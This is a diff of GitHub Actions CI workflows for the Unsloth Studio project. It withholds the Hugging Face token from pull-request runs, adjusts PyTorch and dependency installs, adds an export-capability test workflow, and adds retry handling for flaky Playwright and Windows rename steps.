**Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
releaseDraft: ${{ inputs.draft }}
@ -611,9 +702,10 @@ jobs:
**macOS**: Download the Apple Silicon `.dmg`.
**Windows**: Download the `-setup.exe` installer.
**Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
releaseDraft: ${{ inputs.draft }}
@ -643,9 +735,10 @@ jobs:
**macOS**: Download the Apple Silicon `.dmg`.
**Windows**: Download the `-setup.exe` installer.
**Linux**: Download `.deb` (Ubuntu/Debian) or `.AppImage` (universal).
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
releaseDraft: ${{ inputs.draft }}

6
.github/workflows/studio-api-smoke.yml vendored
View file

@ -83,7 +83,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -100,7 +101,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail

16
.github/workflows/studio-backend-ci.yml vendored
View file

@ -68,15 +68,16 @@ jobs:
pip install -r studio/backend/requirements/studio.txt
# Extras that studio.txt does not list but the import chain needs
# (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
# for the auth DB, yaml/jinja2 for utils.models.model_config, etc.):
# for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
# the orphan-cleanup process scan, etc.):
pip install \
python-multipart aiofiles sqlalchemy cryptography \
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests \
'numpy<3' pytest pytest-asyncio httpx
# Torch CPU + transformers are required by a chunk of the backend test
# suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch
# keeps the install ~250 MB / ~1 min on a clean runner.
pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11'
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11'
pip install 'transformers>=4.51,<5.5'
- name: Backend tests
@ -133,11 +134,11 @@ jobs:
python -m pip install --upgrade pip
pip install -r studio/backend/requirements/studio.txt
pip install \
python-multipart aiofiles sqlalchemy cryptography \
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests typer \
'numpy<3' pytest pytest-asyncio httpx
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
pip install 'transformers>=4.51,<5.5'
# bitsandbytes: hard import in unsloth/models/_utils.py. Recent
@ -226,9 +227,12 @@ jobs:
tests/sh/test_studio_home_node_dir.sh \
tests/sh/test_system_node_readonly.sh \
tests/sh/test_nvcc_meets_llama_minimum.sh \
tests/sh/test_resolve_cuda_archs.sh \
tests/sh/test_tauri_install_exit_order.sh \
tests/sh/test_torch_constraint.sh \
tests/sh/test_torch_flavor.sh; do
tests/sh/test_torch_flavor.sh \
tests/sh/test_with_llama_cpp_dir_flag.sh \
tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
echo "::group::$s"
bash "$s"
echo "::endgroup::"

76
.github/workflows/studio-export-capability-ci.yml vendored Normal file
View file

@ -0,0 +1,76 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS.
#
# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
# platform) and the export backend must import without PyTorch, so this confirms the gating and
# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator
# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
name: Studio export capability
on:
pull_request:
paths:
- 'studio/backend/utils/hardware/hardware.py'
- 'studio/backend/core/export/export.py'
- 'studio/backend/routes/export.py'
- 'studio/backend/main.py'
- 'studio/backend/tests/test_export_capability.py'
- '.github/workflows/studio-export-capability-ci.yml'
push:
branches: [main]
paths:
- 'studio/backend/utils/hardware/hardware.py'
- 'studio/backend/core/export/export.py'
- 'studio/backend/routes/export.py'
- 'studio/backend/main.py'
- 'studio/backend/tests/test_export_capability.py'
- '.github/workflows/studio-export-capability-ci.yml'
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
capability:
name: capability (${{ matrix.os }})
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 20
env:
# No accelerator on hosted runners; keep detection on the CPU path.
CUDA_VISIBLE_DEVICES: ""
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
cache: 'pip'
- name: Upgrade pip
run: python -m pip install --upgrade pip
- name: Install CPU PyTorch
# CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
# transitive deps still resolve (matching the other workflows in this repo).
run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13"
- name: Install backend import deps
# Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
# the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
run: python -m pip install
transformers peft accelerate safetensors huggingface_hub datasets
sentencepiece protobuf fastapi starlette structlog psutil
python-multipart pydantic httpx "numpy<3" pytest
- name: Export capability + import-safety tests
working-directory: studio/backend
run: python -m pytest tests/test_export_capability.py -q

18
.github/workflows/studio-inference-smoke.yml vendored
View file

@ -97,7 +97,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -114,7 +115,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -364,7 +366,8 @@ jobs:
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p gguf-cache
@ -380,7 +383,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -845,7 +849,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -863,7 +868,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail

6
.github/workflows/studio-mac-api-smoke.yml vendored
View file

@ -68,7 +68,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -85,7 +86,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail

18
.github/workflows/studio-mac-inference-smoke.yml vendored
View file

@ -91,7 +91,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -110,7 +111,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -346,7 +348,8 @@ jobs:
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p gguf-cache
@ -363,7 +366,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -725,7 +729,8 @@ jobs:
# Authenticated + parallel: shared macos-14 NAT egress stalls
# multi-GB anonymous downloads.
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p gguf-cache
@ -752,7 +757,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail

3
.github/workflows/studio-mac-install-matrix.yml vendored
View file

@ -63,7 +63,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail

35
.github/workflows/studio-mac-ui-smoke.yml vendored
View file

@ -68,7 +68,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -85,7 +86,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -183,13 +185,14 @@ jobs:
# Retry up to 3 times to absorb known macos-14 free-runner
# flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected
# end of JSON input' crash when the Chromium browser process
# dies mid-test, and (2) Chromium net::ERR_NO_BUFFER_SPACE
# when the runner's kernel briefly runs out of socket buffers.
# The retry FULLY resets Studio (kill, reset-password, reboot,
# wait /api/health, re-export bootstrap pw) before re-running
# the script. A real test failure (assertion / timeout) does
# NOT match either pattern so it bypasses retry and surfaces
# immediately.
# dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
# runner's kernel briefly runs out of socket buffers, and (3) a
# goto 'interrupted by another navigation' when the SPA auth
# guard redirects mid-navigation. The retry FULLY resets Studio
# (kill, reset-password, reboot, wait /api/health, re-export
# bootstrap pw) before re-running the script. A real test failure
# (assertion / timeout) does NOT match any pattern so it bypasses
# retry and surfaces immediately.
run: |
mkdir -p logs/playwright
attempt=1
@ -202,8 +205,9 @@ jobs:
if [ "$rc" -eq 0 ]; then
break
fi
if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log; } \
if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log \
|| grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \
&& [ "$attempt" -lt "$max_attempts" ]; then
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
kill "${STUDIO_PID}" 2>/dev/null || true
@ -278,8 +282,8 @@ jobs:
STUDIO_UI_TURN_TIMEOUT_MS: '540000'
GGUF_REPO: ${{ env.GGUF_REPO }}
GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
# Same flake-retry shape as "Drive the chat UI with Playwright"
# -- catches pipeTransport JSON crash and ERR_NO_BUFFER_SPACE.
# Same flake-retry shape as "Drive the chat UI with Playwright" -- catches
# pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts.
run: |
mkdir -p logs/playwright_extra
attempt=1
@ -292,8 +296,9 @@ jobs:
if [ "$rc" -eq 0 ]; then
break
fi
if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log; } \
if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log \
|| grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \
&& [ "$attempt" -lt "$max_attempts" ]; then
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true

9
.github/workflows/studio-mac-update-smoke.yml vendored
View file

@ -62,7 +62,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -74,7 +75,8 @@ jobs:
- name: First update should be a no-op (prebuilt already validated)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
unsloth studio update --local 2>&1 | tee logs/update.log
@ -93,7 +95,8 @@ jobs:
- name: Second update must also be a no-op
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
unsloth studio update --local 2>&1 | tee logs/update2.log

2
.github/workflows/studio-tauri-smoke.yml vendored
View file

@ -47,7 +47,7 @@ jobs:
run: |
sudo apt-get update
sudo apt-get install -y \
libwebkit2gtk-4.1-dev libayatana-appindicator3-dev \
libwebkit2gtk-4.1-dev libappindicator3-dev \
librsvg2-dev libxdo-dev libssl-dev patchelf
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0

6
.github/workflows/studio-ui-smoke.yml vendored
View file

@ -82,7 +82,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -99,7 +100,8 @@ jobs:
- name: Install Studio (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail

9
.github/workflows/studio-update-smoke.yml vendored
View file

@ -71,7 +71,8 @@ jobs:
# prebuilt path falls back to source build.
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
mkdir -p logs
set -o pipefail
@ -86,7 +87,8 @@ jobs:
# idempotency regressed.
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
unsloth studio update --local 2>&1 | tee logs/update.log
@ -109,7 +111,8 @@ jobs:
# the first one.
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -o pipefail
unsloth studio update --local 2>&1 | tee logs/update2.log

6
.github/workflows/studio-windows-api-smoke.yml vendored
View file

@ -75,7 +75,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -124,7 +125,8 @@ jobs:
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
# *>&1 captures Write-Host (Information stream) output;

55
.github/workflows/studio-windows-inference-smoke.yml vendored
View file

@ -127,7 +127,8 @@ jobs:
# described above (outcome != success).
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -179,7 +180,8 @@ jobs:
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
# *>&1 captures Write-Host (Information stream) output;
@ -476,7 +478,8 @@ jobs:
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p gguf-cache
@ -524,7 +527,8 @@ jobs:
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
# *>&1 captures Write-Host (Information stream) output;
@ -906,7 +910,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -956,7 +961,8 @@ jobs:
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
# *>&1 captures Write-Host (Information stream) output;
@ -1299,7 +1305,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
@ -1331,11 +1338,19 @@ jobs:
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
# A Program Files dir can hold a transient handle (Defender / MSBuild node)
# so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
function Rename-WithRetry($Path, $NewName) {
for ($i = 1; $i -le 6; $i++) {
try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
}
}
# Rename the Visual Studio install roots (incl. the Installer that holds
# vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
if (Test-Path -LiteralPath $d) {
Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff')
Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
Write-Host "Hid VS: $d"
}
}
@ -1344,7 +1359,7 @@ jobs:
$hidden = @()
foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
Rename-Item -LiteralPath $c.Source -NewName ((Split-Path $c.Source -Leaf) + '.off')
Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
$hidden += $c.Source
Write-Host "Hid cmake: $($c.Source)"
}
@ -1369,14 +1384,15 @@ jobs:
- name: PyTorch CPU wheel installs and imports (no Visual Studio)
run: |
python -m pip install --upgrade pip
python -m pip install torch --index-url https://download.pytorch.org/whl/cpu
python -m pip install torch --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple
python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
- name: Install Studio (--local, --no-torch) with no build tools present
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
$ProgressPreference = 'SilentlyContinue'
@ -1528,8 +1544,16 @@ jobs:
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
# Retry the rename: a Program Files dir can hold a transient handle that
# makes Rename-Item intermittently fail with "Access is denied".
function Rename-WithRetry($Path, $NewName) {
for ($i = 1; $i -le 6; $i++) {
try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
}
}
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
if (Test-Path -LiteralPath $d) { Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
}
- name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
@ -1586,6 +1610,13 @@ jobs:
- name: Install Pester v5
shell: pwsh
run: |
# PSGallery is intermittently absent from the repository list on GitHub's Windows
# runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the
# name 'PSGallery' was found." Re-register the default gallery first so the policy
# change and module install below always have a repository to target.
if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) {
Register-PSRepository -Default -ErrorAction SilentlyContinue
}
Set-PSRepository PSGallery -InstallationPolicy Trusted
Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser
Import-Module Pester -MinimumVersion 5.5.0

6
.github/workflows/studio-windows-ui-smoke.yml vendored
View file

@ -91,7 +91,8 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p hf-cache
